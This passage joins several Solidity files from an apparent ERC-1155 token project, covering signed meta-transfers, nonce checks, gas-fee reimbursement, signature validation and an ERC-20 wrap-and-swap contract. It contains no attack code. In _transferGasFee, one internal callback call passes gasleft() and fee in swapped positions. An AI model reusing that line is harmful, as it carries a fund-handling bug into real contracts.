event NonceChange(address indexed signer, uint256 newNonce);
/****************************************|
| Public Meta Transfer Functions |
|_______________________________________*/
/**
* @notice Allows anyone with a valid signature to transfer _amount amount of a token _id on the bahalf of _from
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
* @param _isGasFee Whether gas is reimbursed to executor or not
* @param _data Encodes a meta transfer indicator, signature, gas payment receipt and extra transfer data
* _data should be encoded as (
* (bytes32 r, bytes32 s, uint8 v, uint256 nonce, SignatureType sigType),
* (GasReceipt g, ?bytes transferData)
* )
* i.e. high level encoding should be (bytes, bytes), where the latter bytes array is a nested bytes array
*/
function metaSafeTransferFrom(
address _from,
address _to,
uint256 _id,
uint256 _amount,
bool _isGasFee,
bytes memory _data)
public
{
require(_to != address(0), "ERC1155Meta#metaSafeTransferFrom: INVALID_RECIPIENT");
// Initializing
bytes memory transferData;
GasReceipt memory gasReceipt;
// Verify signature and extract the signed data
bytes memory signedData = _signatureValidation(
_from,
_data,
abi.encode(
META_TX_TYPEHASH,
_from, // Address as uint256
_to, // Address as uint256
_id,
_amount,
_isGasFee ? uint256(1) : uint256(0) // Boolean as uint256
)
);
// Transfer asset
_safeTransferFrom(_from, _to, _id, _amount);
// If Gas is being reimbursed
if (_isGasFee) {
(gasReceipt, transferData) = abi.decode(signedData, (GasReceipt, bytes));
// We need to somewhat protect relayers against gas griefing attacks in recipient contract.
// Hence we only pass the gasLimit to the recipient such that the relayer knows the griefing
// limit. Nothing can prevent the receiver to revert the transaction as close to the gasLimit as
// possible, but the relayer can now only accept meta-transaction gasLimit within a certain range.
_callonERC1155Received(_from, _to, _id, _amount, gasReceipt.gasLimitCallback, transferData);
// Transfer gas cost
_transferGasFee(_from, gasReceipt);
} else {
_callonERC1155Received(_from, _to, _id, _amount, gasleft(), signedData);
}
}
/**
* @notice Allows anyone with a valid signature to transfer multiple types of tokens on the bahalf of _from
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
* @param _isGasFee Whether gas is reimbursed to executor or not
* @param _data Encodes a meta transfer indicator, signature, gas payment receipt and extra transfer data
* _data should be encoded as (
* (bytes32 r, bytes32 s, uint8 v, uint256 nonce, SignatureType sigType),
* (GasReceipt g, ?bytes transferData)
* )
* i.e. high level encoding should be (bytes, bytes), where the latter bytes array is a nested bytes array
*/
function metaSafeBatchTransferFrom(
address _from,
address _to,
uint256[] memory _ids,
uint256[] memory _amounts,
bool _isGasFee,
bytes memory _data)
public
{
require(_to != address(0), "ERC1155Meta#metaSafeBatchTransferFrom: INVALID_RECIPIENT");
// Initializing
bytes memory transferData;
GasReceipt memory gasReceipt;
// Verify signature and extract the signed data
bytes memory signedData = _signatureValidation(
_from,
_data,
abi.encode(
META_BATCH_TX_TYPEHASH,
_from, // Address as uint256
_to, // Address as uint256
keccak256(abi.encodePacked(_ids)),
keccak256(abi.encodePacked(_amounts)),
_isGasFee ? uint256(1) : uint256(0) // Boolean as uint256
)
);
// Transfer assets
_safeBatchTransferFrom(_from, _to, _ids, _amounts);
// If gas fee being reimbursed
if (_isGasFee) {
(gasReceipt, transferData) = abi.decode(signedData, (GasReceipt, bytes));
// We need to somewhat protect relayers against gas griefing attacks in recipient contract.
// Hence we only pass the gasLimit to the recipient such that the relayer knows the griefing
// limit. Nothing can prevent the receiver to revert the transaction as close to the gasLimit as
// possible, but the relayer can now only accept meta-transaction gasLimit within a certain range.
_callonERC1155BatchReceived(_from, _to, _ids, _amounts, gasReceipt.gasLimitCallback, transferData);
// Handle gas reimbursement
_transferGasFee(_from, gasReceipt);
} else {
_callonERC1155BatchReceived(_from, _to, _ids, _amounts, gasleft(), signedData);
}
}
/***********************************|
| Operator Functions |
|__________________________________*/
/**
* @notice Approve the passed address to spend on behalf of _from if valid signature is provided
* @param _owner Address that wants to set operator status _spender
* @param _operator Address to add to the set of authorized operators
* @param _approved True if the operator is approved, false to revoke approval
* @param _isGasFee Whether gas will be reimbursed or not, with vlid signature
* @param _data Encodes signature and gas payment receipt
* _data should be encoded as (
* (bytes32 r, bytes32 s, uint8 v, uint256 nonce, SignatureType sigType),
* (GasReceipt g)
* )
* i.e. high level encoding should be (bytes, bytes), where the latter bytes array is a nested bytes array
*/
function metaSetApprovalForAll(
address _owner,
address _operator,
bool _approved,
bool _isGasFee,
bytes memory _data)
public
{
// Verify signature and extract the signed data
bytes memory signedData = _signatureValidation(
_owner,
_data,
abi.encode(
META_APPROVAL_TYPEHASH,
_owner, // Address as uint256
_operator, // Address as uint256
_approved ? uint256(1) : uint256(0), // Boolean as uint256
_isGasFee ? uint256(1) : uint256(0) // Boolean as uint256
)
);
// Update operator status
operators[_owner][_operator] = _approved;
// Emit event
emit ApprovalForAll(_owner, _operator, _approved);
// Handle gas reimbursement
if (_isGasFee) {
GasReceipt memory gasReceipt = abi.decode(signedData, (GasReceipt));
_transferGasFee(_owner, gasReceipt);
}
}
/****************************************|
| Signature Validation Functions |
|_______________________________________*/
// keccak256(
// "metaSafeTransferFrom(address,address,uint256,uint256,bool,bytes)"
// );
bytes32 internal constant META_TX_TYPEHASH = 0xce0b514b3931bdbe4d5d44e4f035afe7113767b7db71949271f6a62d9c60f558;
// keccak256(
// "metaSafeBatchTransferFrom(address,address,uint256[],uint256[],bool,bytes)"
// );
bytes32 internal constant META_BATCH_TX_TYPEHASH = 0xa3d4926e8cf8fe8e020cd29f514c256bc2eec62aa2337e415f1a33a4828af5a0;
// keccak256(
// "metaSetApprovalForAll(address,address,bool,bool,bytes)"
// );
bytes32 internal constant META_APPROVAL_TYPEHASH = 0xf5d4c820494c8595de274c7ff619bead38aac4fbc3d143b5bf956aa4b84fa524;
/**
* @notice Verifies signatures for this contract
* @param _signer Address of signer
* @param _sigData Encodes signature, gas payment receipt and transfer data (if any)
* @param _encMembers Encoded EIP-712 type members (except nonce and _data), all need to be 32 bytes size
* @dev _data should be encoded as (
* (bytes32 r, bytes32 s, uint8 v, uint256 nonce, SignatureType sigType),
* (GasReceipt g, ?bytes transferData)
* )
* i.e. high level encoding should be (bytes, bytes), where the latter bytes array is a nested bytes array
* @dev A valid nonce is a nonce that is within 100 value from the current nonce
*/
function _signatureValidation(
address _signer,
bytes memory _sigData,
bytes memory _encMembers)
internal returns (bytes memory signedData)
{
bytes memory sig;
// Get signature and data to sign
(sig, signedData) = abi.decode(_sigData, (bytes, bytes));
// Get current nonce and nonce used for signature
uint256 currentNonce = nonces[_signer]; // Lowest valid nonce for signer
uint256 nonce = uint256(sig.readBytes32(65)); // Nonce passed in the signature object
// Verify if nonce is valid
require(
(nonce >= currentNonce) && (nonce < (currentNonce + 100)),
"ERC1155Meta#_signatureValidation: INVALID_NONCE"
);
// Take hash of bytes arrays
bytes32 hash = hashEIP712Message(keccak256(abi.encodePacked(_encMembers, nonce, keccak256(signedData))));
// Complete data to pass to signer verifier
bytes memory fullData = abi.encodePacked(_encMembers, nonce, signedData);
//Update signature nonce
nonces[_signer] = nonce + 1;
emit NonceChange(_signer, nonce + 1);
// Verify if _from is the signer
require(isValidSignature(_signer, hash, fullData, sig), "ERC1155Meta#_signatureValidation: INVALID_SIGNATURE");
return signedData;
}
/**
* @notice Returns the current nonce associated with a given address
* @param _signer Address to query signature nonce for
*/
function getNonce(address _signer)
public view returns (uint256 nonce)
{
return nonces[_signer];
}
/***********************************|
| Gas Reimbursement Functions |
|__________________________________*/
/**
* @notice Will reimburse tx.origin or fee recipient for the gas spent execution a transaction
* Can reimbuse in any ERC-20 or ERC-1155 token
* @param _from Address from which the payment will be made from
* @param _g GasReceipt object that contains gas reimbursement information
*/
function _transferGasFee(address _from, GasReceipt memory _g)
internal
{
// Pop last byte to get token fee type
uint8 feeTokenTypeRaw = uint8(_g.feeTokenData.popLastByte());
// Ensure valid fee token type
require(
feeTokenTypeRaw < uint8(FeeTokenType.NTypes),
"ERC1155Meta#_transferGasFee: UNSUPPORTED_TOKEN"
);
// Convert to FeeTokenType corresponding value
FeeTokenType feeTokenType = FeeTokenType(feeTokenTypeRaw);
// Declarations
address tokenAddress;
address feeRecipient;
uint256 tokenID;
uint256 fee = _g.gasFee;
// If receiver is 0x0, then anyone can claim, otherwise, refund addresse provided
feeRecipient = _g.feeRecipient == address(0) ? msg.sender : _g.feeRecipient;
// Fee token is ERC1155
if (feeTokenType == FeeTokenType.ERC1155) {
(tokenAddress, tokenID) = abi.decode(_g.feeTokenData, (address, uint256));
// Fee is paid from this ERC1155 contract
if (tokenAddress == address(this)) {
_safeTransferFrom(_from, feeRecipient, tokenID, fee);
// No need to protect against griefing since recipient (if contract) is most likely owned by the relayer
_callonERC1155Received(_from, feeRecipient, tokenID, gasleft(), fee, "");
// Fee is paid from another ERC-1155 contract
} else {
IERC1155(tokenAddress).safeTransferFrom(_from, feeRecipient, tokenID, fee, "");
}
// Fee token is ERC20
} else {
tokenAddress = abi.decode(_g.feeTokenData, (address));
require(
IERC20(tokenAddress).transferFrom(_from, feeRecipient, fee),
"ERC1155Meta#_transferGasFee: ERC20_TRANSFER_FAILED"
);
}
}
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
This is a truncated version of the original LibBytes.sol library from ZeroEx.
*/
pragma solidity 0.7.4;
library LibBytes {
using LibBytes for bytes;
/***********************************|
| Pop Bytes Functions |
|__________________________________*/
/**
* @dev Pops the last byte off of a byte array by modifying its length.
* @param b Byte array that will be modified.
* @return result The byte that was popped off.
*/
function popLastByte(bytes memory b)
internal
pure
returns (bytes1 result)
{
require(
b.length > 0,
"LibBytes#popLastByte: GREATER_THAN_ZERO_LENGTH_REQUIRED"
);
// Store last byte.
result = b[b.length - 1];
assembly {
// Decrement length of byte array.
let newLen := sub(mload(b), 1)
mstore(b, newLen)
}
return result;
}
/***********************************|
| Read Bytes Functions |
|__________________________________*/
/**
* @dev Reads a bytes32 value from a position in a byte array.
* @param b Byte array containing a bytes32 value.
* @param index Index in byte array of bytes32 value.
* @return result bytes32 value from byte array.
*/
function readBytes32(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes32 result)
{
require(
b.length >= index + 32,
"LibBytes#readBytes32: GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED"
);
// Arrays are prefixed by a 256 bit length parameter
index += 32;
// Read the bytes32 from array memory
assembly {
result := mload(add(b, index))
}
return result;
}
}
pragma solidity 0.7.4;
import "../interfaces/IERC1271Wallet.sol";
import "./LibBytes.sol";
import "./LibEIP712.sol";
/**
* @dev Contains logic for signature validation.
* Signatures from wallet contracts assume ERC-1271 support (https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1271.md)
* Notes: Methods are strongly inspired by contracts in https://github.com/0xProject/0x-monorepo/blob/development/
*/
contract SignatureValidator is LibEIP712 {
using LibBytes for bytes;
/***********************************|
| Variables |
|__________________________________*/
// bytes4(keccak256("isValidSignature(bytes,bytes)"))
bytes4 constant internal ERC1271_MAGICVALUE = 0x20c13b0b;
// bytes4(keccak256("isValidSignature(bytes32,bytes)"))
bytes4 constant internal ERC1271_MAGICVALUE_BYTES32 = 0x1626ba7e;
// Allowed signature types.
enum SignatureType {
Illegal, // 0x00, default value
EIP712, // 0x01
EthSign, // 0x02
WalletBytes, // 0x03 To call isValidSignature(bytes, bytes) on wallet contract
WalletBytes32, // 0x04 To call isValidSignature(bytes32, bytes) on wallet contract
NSignatureTypes // 0x05, number of signature types. Always leave at end.
}
/***********************************|
| Signature Functions |
|__________________________________*/
/**
* @dev Verifies that a hash has been signed by the given signer.
* @param _signerAddress Address that should have signed the given hash.
* @param _hash Hash of the EIP-712 encoded data
* @param _data Full EIP-712 data structure that was hashed and signed
* @param _sig Proof that the hash has been signed by signer.
* For non wallet signatures, _sig is expected to be an array tightly encoded as
* (bytes32 r, bytes32 s, uint8 v, uint256 nonce, SignatureType sigType)
* @return isValid True if the address recovered from the provided signature matches the input signer address.
*/
function isValidSignature(
address _signerAddress,
bytes32 _hash,
bytes memory _data,
bytes memory _sig
)
public
view
returns (bool isValid)
{
require(
_sig.length > 0,
"SignatureValidator#isValidSignature: LENGTH_GREATER_THAN_0_REQUIRED"
);
require(
_signerAddress != address(0x0),
"SignatureValidator#isValidSignature: INVALID_SIGNER"
);
// Pop last byte off of signature byte array.
uint8 signatureTypeRaw = uint8(_sig.popLastByte());
// Ensure signature is supported
require(
signatureTypeRaw < uint8(SignatureType.NSignatureTypes),
"SignatureValidator#isValidSignature: UNSUPPORTED_SIGNATURE"
);
// Extract signature type
SignatureType signatureType = SignatureType(signatureTypeRaw);
// Variables are not scoped in Solidity.
uint8 v;
bytes32 r;
bytes32 s;
address recovered;
// Always illegal signature.
// This is always an implicit option since a signer can create a
// signature array with invalid type or length. We may as well make
// it an explicit option. This aids testing and analysis. It is
// also the initialization value for the enum type.
if (signatureType == SignatureType.Illegal) {
revert("SignatureValidator#isValidSignature: ILLEGAL_SIGNATURE");
// Signature using EIP712
} else if (signatureType == SignatureType.EIP712) {
require(
_sig.length == 97,
"SignatureValidator#isValidSignature: LENGTH_97_REQUIRED"
);
r = _sig.readBytes32(0);
s = _sig.readBytes32(32);
v = uint8(_sig[64]);
recovered = ecrecover(_hash, v, r, s);
isValid = _signerAddress == recovered;
return isValid;
// Signed using web3.eth_sign() or Ethers wallet.signMessage()
} else if (signatureType == SignatureType.EthSign) {
require(
_sig.length == 97,
"SignatureValidator#isValidSignature: LENGTH_97_REQUIRED"
);
r = _sig.readBytes32(0);
s = _sig.readBytes32(32);
v = uint8(_sig[64]);
recovered = ecrecover(
keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _hash)),
v,
r,
s
);
isValid = _signerAddress == recovered;
return isValid;
// Signature verified by wallet contract with data validation.
} else if (signatureType == SignatureType.WalletBytes) {
isValid = ERC1271_MAGICVALUE == IERC1271Wallet(_signerAddress).isValidSignature(_data, _sig);
return isValid;
// Signature verified by wallet contract without data validation.
} else if (signatureType == SignatureType.WalletBytes32) {
isValid = ERC1271_MAGICVALUE_BYTES32 == IERC1271Wallet(_signerAddress).isValidSignature(_hash, _sig);
return isValid;
}
// Anything else is illegal (We do not return false because
// the signature may actually be valid, just not in a format
// that we currently support. In this case returning false
// may lead the caller to incorrectly believe that the
// signature was invalid.)
revert("SignatureValidator#isValidSignature: UNSUPPORTED_SIGNATURE");
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
interface IERC1271Wallet {
/**
* @notice Verifies whether the provided signature is valid with respect to the provided data
* @dev MUST return the correct magic value if the signature provided is valid for the provided data
* > The bytes4 magic value to return when signature is valid is 0x20c13b0b : bytes4(keccak256("isValidSignature(bytes,bytes)")
* > This function MAY modify Ethereum's state
* @param _data Arbitrary length data signed on the behalf of address(this)
* @param _signature Signature byte array associated with _data
* @return magicValue Magic value 0x20c13b0b if the signature is valid and 0x0 otherwise
*
*/
function isValidSignature(
bytes calldata _data,
bytes calldata _signature)
external
view
returns (bytes4 magicValue);
/**
* @notice Verifies whether the provided signature is valid with respect to the provided hash
* @dev MUST return the correct magic value if the signature provided is valid for the provided hash
* > The bytes4 magic value to return when signature is valid is 0x20c13b0b : bytes4(keccak256("isValidSignature(bytes,bytes)")
* > This function MAY modify Ethereum's state
* @param _hash keccak256 hash that was signed
* @param _signature Signature byte array associated with _data
* @return magicValue Magic value 0x20c13b0b if the signature is valid and 0x0 otherwise
*/
function isValidSignature(
bytes32 _hash,
bytes calldata _signature)
external
view
returns (bytes4 magicValue);
}
/**
* Copyright 2018 ZeroEx Intl.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity 0.7.4;
contract LibEIP712 {
/***********************************|
| Constants |
|__________________________________*/
// keccak256(
// "EIP712Domain(address verifyingContract)"
// );
bytes32 internal constant DOMAIN_SEPARATOR_TYPEHASH = 0x035aff83d86937d35b32e04f0ddc6ff469290eef2f1b692d8a815c89404d4749;
// EIP-191 Header
string constant internal EIP191_HEADER = "\x19\x01";
/***********************************|
| Hashing Function |
|__________________________________*/
/**
* @dev Calculates EIP712 encoding for a hash struct in this EIP712 Domain.
* @param hashStruct The EIP712 hash struct.
* @return result EIP712 hash applied to this EIP712 Domain.
*/
function hashEIP712Message(bytes32 hashStruct)
internal
view
returns (bytes32 result)
{
return keccak256(
abi.encodePacked(
EIP191_HEADER,
keccak256(
abi.encode(
DOMAIN_SEPARATOR_TYPEHASH,
address(this)
)
),
hashStruct
));
}
}
pragma solidity 0.7.4;
import "@0xsequence/erc-1155/contracts/interfaces/IERC1155.sol";
interface IERC20Wrapper is IERC1155 {
/***********************************|
| Deposit Functions |
|__________________________________*/
/**
* Fallback function
* @dev Deposit ETH in this contract to receive wrapped ETH
*/
receive () external payable;
/**
* @dev Deposit ERC20 tokens or ETH in this contract to receive wrapped ERC20s
* @param _token The addess of the token to deposit in this contract
* @param _recipient Address that will receive the ERC-1155 tokens
* @param _value The amount of token to deposit in this contract
* Note: Users must first approve this contract addres on the contract of the ERC20 to be deposited
*/
function deposit(address _token, address _recipient, uint256 _value) external payable;
/***********************************|
| Withdraw Functions |
|__________________________________*/
/**
* @dev Withdraw wrapped ERC20 tokens in this contract to receive the original ERC20s or ETH
* @param _token The addess of the token to withdrww from this contract
* @param _to The address where the withdrawn tokens will go to
* @param _value The amount of tokens to withdraw
*/
function withdraw(address _token, address payable _to, uint256 _value) external;
/***********************************|
| Getter Functions |
|__________________________________*/
/**
* @notice Return the Meta-ERC20 token ID for the given ERC-20 token address
* @param _token ERC-20 token address to get the corresponding Meta-ERC20 token ID
* @return tokenID Meta-ERC20 token ID
*/
function getTokenID(address _token) external view returns (uint256 tokenID);
/**
* @notice Return the ERC-20 token address for the given Meta-ERC20 token ID
* @param _id Meta-ERC20 token ID to get the corresponding ERC-20 token address
* @return token ERC-20 token address
*/
function getIdAddress(uint256 _id) external view returns (address token) ;
/**
* @notice Returns number of tokens currently registered
*/
function getNTokens() external view;
/***********************************|
| OnReceive Functions |
|__________________________________*/
/**
* @notice Withdraw ERC-20 tokens when receiving their ERC-1155 counterpart
* @param _operator The address which called the `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _id The id of the token being transferred
* @param _value The amount of tokens being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
*/
function onERC1155Received(address _operator, address payable _from, uint256 _id, uint256 _value, bytes calldata _data ) external returns(bytes4);
/**
* @notice Withdraw ERC-20 tokens when receiving their ERC-1155 counterpart
* @param _operator The address which called the `safeBatchTransferFrom` function
* @param _from The address which previously owned the token
* @param _ids An array containing ids of each token being transferred
* @param _values An array containing amounts of each token being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
*/
function onERC1155BatchReceived(address _operator, address payable _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external returns(bytes4);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
import "../interfaces/INiftyswapExchange.sol";
import "@0xsequence/erc-1155/contracts/interfaces/IERC20.sol";
import "@0xsequence/erc-1155/contracts/interfaces/IERC1155.sol";
import "@0xsequence/erc-1155/contracts/interfaces/IERC1155TokenReceiver.sol";
import "@0xsequence/erc20-meta-token/contracts/interfaces/IERC20Wrapper.sol";
/**
* @notice Will allow users to wrap their ERC-20 into ERC-1155 tokens
* and pass their order to niftyswap. All funds will be returned
* to original owner and this contact should never hold any funds
* outside of a given wrap transaction.
* @dev Hardcoding addresses for simplicity, easy to generalize if arguments
* are passed in functions, but adds a bit of complexity.
*/
contract WrapAndNiftyswap {
IERC20Wrapper immutable public tokenWrapper; // ERC-20 to ERC-1155 token wrapper contract
address immutable public exchange; // Niftyswap exchange to use
address immutable public erc20; // ERC-20 used in niftyswap exchange
address immutable public erc1155; // ERC-1155 used in niftyswap exchange
uint256 immutable internal wrappedTokenID; // ID of the wrapped token
bool internal isInNiftyswap; // Whether niftyswap is being called
/**
* @notice Registers contract addresses
*/
constructor(
address payable _tokenWrapper,
address _exchange,
address _erc20,
address _erc1155
) public {
require(
_tokenWrapper != address(0x0) &&
_exchange != address(0x0) &&
_erc20 != address(0x0) &&
_erc1155 != address(0x0),
"INVALID CONSTRUCTOR ARGUMENT"
);
tokenWrapper = IERC20Wrapper(_tokenWrapper);
exchange = _exchange;
erc20 = _erc20;
erc1155 = _erc1155;
// Approve wrapper contract for ERC-20
// NOTE: This could potentially fail in some extreme usage as it's only
// set once, but can easily redeploy this contract if that's the case.
IERC20(_erc20).approve(_tokenWrapper, 2**256-1);
// Store wrapped token ID
wrappedTokenID = IERC20Wrapper(_tokenWrapper).getTokenID(_erc20);
}
/**
* @notice Wrap ERC-20 to ERC-1155 and swap them
* @dev User must approve this contract for ERC-20 first
* @param _maxAmount Maximum amount of ERC-20 user wants to spend
* @param _recipient Address where to send tokens
* @param _niftyswapOrder Encoded Niftyswap order passed in data field of safeTransferFrom()
*/
function wrapAndSwap(
uint256 _maxAmount,
address _recipient,
bytes calldata _niftyswapOrder
) external
{
// Decode niftyswap order
INiftyswapExchange.BuyTokensObj memory obj;
(, obj) = abi.decode(_niftyswapOrder, (bytes4, INiftyswapExchange.BuyTokensObj));
// Force the recipient to not be set, otherwise wrapped token refunded will be
// sent to the user and we won't be able to unwrap it.
require(
obj.recipient == address(0x0) || obj.recipient == address(this),
"WrapAndNiftyswap#wrapAndSwap: ORDER RECIPIENT MUST BE THIS CONTRACT"
);
// Pull ERC-20 amount specified in order
IERC20(erc20).transferFrom(msg.sender, address(this), _maxAmount);
// Wrap ERC-20s
tokenWrapper.deposit(erc20, address(this), _maxAmount);
// Swap on Niftyswap
isInNiftyswap = true;
tokenWrapper.safeTransferFrom(address(this), exchange, wrappedTokenID, _maxAmount, _niftyswapOrder);
isInNiftyswap = false;
// Unwrap ERC-20 and send to receiver, if any received
uint256 wrapped_token_amount = tokenWrapper.balanceOf(address(this), wrappedTokenID);
if (wrapped_token_amount > 0) {
tokenWrapper.withdraw(erc20, payable(_recipient), wrapped_token_amount);
}
// Transfer tokens purchased
IERC1155(erc1155).safeBatchTransferFrom(address(this), _recipient, obj.tokensBoughtIDs, obj.tokensBoughtAmounts, "");
}
/**
* @notice Accepts only tokenWrapper tokens
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
*/
function onERC1155Received(address, address, uint256, uint256, bytes calldata)
external returns(bytes4)
{
if (msg.sender != address(tokenWrapper)) {
revert("WrapAndNiftyswap#onERC1155Received: INVALID_ERC1155_RECEIVED");
}
return IERC1155TokenReceiver.onERC1155Received.selector;
}
/**
* @notice If receives tracked ERC-1155, it will send a sell order to niftyswap and unwrap received
* wrapped token. The unwrapped tokens will be sent to the sender.
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
*/
function onERC1155BatchReceived(
address,
address _from,
uint256[] calldata _ids,
uint256[] calldata _amounts,
bytes calldata _niftyswapOrder
)
external returns(bytes4)
{
// If coming from niftyswap or wrapped token, ignore
if (isInNiftyswap || msg.sender == address(tokenWrapper)){
return IERC1155TokenReceiver.onERC1155BatchReceived.selector;
} else if (msg.sender != erc1155) {
revert("WrapAndNiftyswap#onERC1155BatchReceived: INVALID_ERC1155_RECEIVED");
}
// Decode transfer data
INiftyswapExchange.SellTokensObj memory obj;
(,obj) = abi.decode(_niftyswapOrder, (bytes4, INiftyswapExchange.SellTokensObj));
require(
obj.recipient == address(0x0) || obj.recipient == address(this),
"WrapAndNiftyswap#onERC1155BatchReceived: ORDER RECIPIENT MUST BE THIS CONTRACT"
);
// Swap on Niftyswap
isInNiftyswap = true;
IERC1155(msg.sender).safeBatchTransferFrom(address(this), exchange, _ids, _amounts, _niftyswapOrder);
isInNiftyswap = false;
// Send to recipient the unwrapped ERC-20, if any
uint256 wrapped_token_amount = tokenWrapper.balanceOf(address(this), wrappedTokenID);
if (wrapped_token_amount > 0) {
// Doing it in 2 calls so tx history is more consistent
tokenWrapper.withdraw(erc20, payable(address(this)), wrapped_token_amount);
IERC20(erc20).transfer(_from, wrapped_token_amount);
}
return IERC1155TokenReceiver.onERC1155BatchReceived.selector;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
import "../../utils/SafeMath.sol";
import "../../interfaces/IERC1155TokenReceiver.sol";
import "../../interfaces/IERC1155.sol";
import "../../utils/Address.sol";
import "../../utils/ERC165.sol";
/**
* @dev Implementation of Multi-Token Standard contract. This implementation of the ERC-1155 standard
* utilizes the fact that balances of different token ids can be concatenated within individual
* uint256 storage slots. This allows the contract to batch transfer tokens more efficiently at
* the cost of limiting the maximum token balance each address can hold. This limit is
* 2^IDS_BITS_SIZE, which can be adjusted below. In practice, using IDS_BITS_SIZE smaller than 16
* did not lead to major efficiency gains.
*/
contract ERC1155PackedBalance is IERC1155, ERC165 {
using SafeMath for uint256;
using Address for address;
/***********************************|
| Variables and Events |
|__________________________________*/
// onReceive function signatures
bytes4 constant internal ERC1155_RECEIVED_VALUE = 0xf23a6e61;
bytes4 constant internal ERC1155_BATCH_RECEIVED_VALUE = 0xbc197c81;
// Constants regarding bin sizes for balance packing
// IDS_BITS_SIZE **MUST** be a power of 2 (e.g. 2, 4, 8, 16, 32, 64, 128)
uint256 internal constant IDS_BITS_SIZE = 32; // Max balance amount in bits per token ID
uint256 internal constant IDS_PER_UINT256 = 256 / IDS_BITS_SIZE; // Number of ids per uint256
// Operations for _updateIDBalance
enum Operations { Add, Sub }
// Token IDs balances ; balances[address][id] => balance (using array instead of mapping for efficiency)
mapping (address => mapping(uint256 => uint256)) internal balances;
// Operators
mapping (address => mapping(address => bool)) internal operators;
/***********************************|
| Public Transfer Functions |
|__________________________________*/
/**
* @notice Transfers amount amount of an _id from the _from address to the _to address specified
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data)
public override
{
// Requirements
require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155PackedBalance#safeTransferFrom: INVALID_OPERATOR");
require(_to != address(0),"ERC1155PackedBalance#safeTransferFrom: INVALID_RECIPIENT");
// require(_amount <= balances); Not necessary since checked with _viewUpdateBinValue() checks
_safeTransferFrom(_from, _to, _id, _amount);
_callonERC1155Received(_from, _to, _id, _amount, gasleft(), _data);
}
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @dev Arrays should be sorted so that all ids in a same storage slot are adjacent (more efficient)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data)
public override
{
// Requirements
require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155PackedBalance#safeBatchTransferFrom: INVALID_OPERATOR");
require(_to != address(0),"ERC1155PackedBalance#safeBatchTransferFrom: INVALID_RECIPIENT");
_safeBatchTransferFrom(_from, _to, _ids, _amounts);
_callonERC1155BatchReceived(_from, _to, _ids, _amounts, gasleft(), _data);
}
/***********************************|
| Internal Transfer Functions |
|__________________________________*/
/**
* @notice Transfers amount amount of an _id from the _from address to the _to address specified
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
*/
function _safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount)
internal
{
//Update balances
_updateIDBalance(_from, _id, _amount, Operations.Sub); // Subtract amount from sender
_updateIDBalance(_to, _id, _amount, Operations.Add); // Add amount to recipient
// Emit event
emit TransferSingle(msg.sender, _from, _to, _id, _amount);
}
/**
* @notice Verifies if receiver is contract and if so, calls (_to).onERC1155Received(...)
*/
function _callonERC1155Received(address _from, address _to, uint256 _id, uint256 _amount, uint256 _gasLimit, bytes memory _data)
internal
{
// Check if recipient is contract
if (_to.isContract()) {
bytes4 retval = IERC1155TokenReceiver(_to).onERC1155Received{gas:_gasLimit}(msg.sender, _from, _id, _amount, _data);
require(retval == ERC1155_RECEIVED_VALUE, "ERC1155PackedBalance#_callonERC1155Received: INVALID_ON_RECEIVE_MESSAGE");
}
}
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @dev Arrays should be sorted so that all ids in a same storage slot are adjacent (more efficient)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
*/
function _safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts)
internal
{
uint256 nTransfer = _ids.length; // Number of transfer to execute
require(nTransfer == _amounts.length, "ERC1155PackedBalance#_safeBatchTransferFrom: INVALID_ARRAYS_LENGTH");
if (_from != _to && nTransfer > 0) {
// Load first bin and index where the token ID balance exists
(uint256 bin, uint256 index) = getIDBinIndex(_ids[0]);
// Balance for current bin in memory (initialized with first transfer)
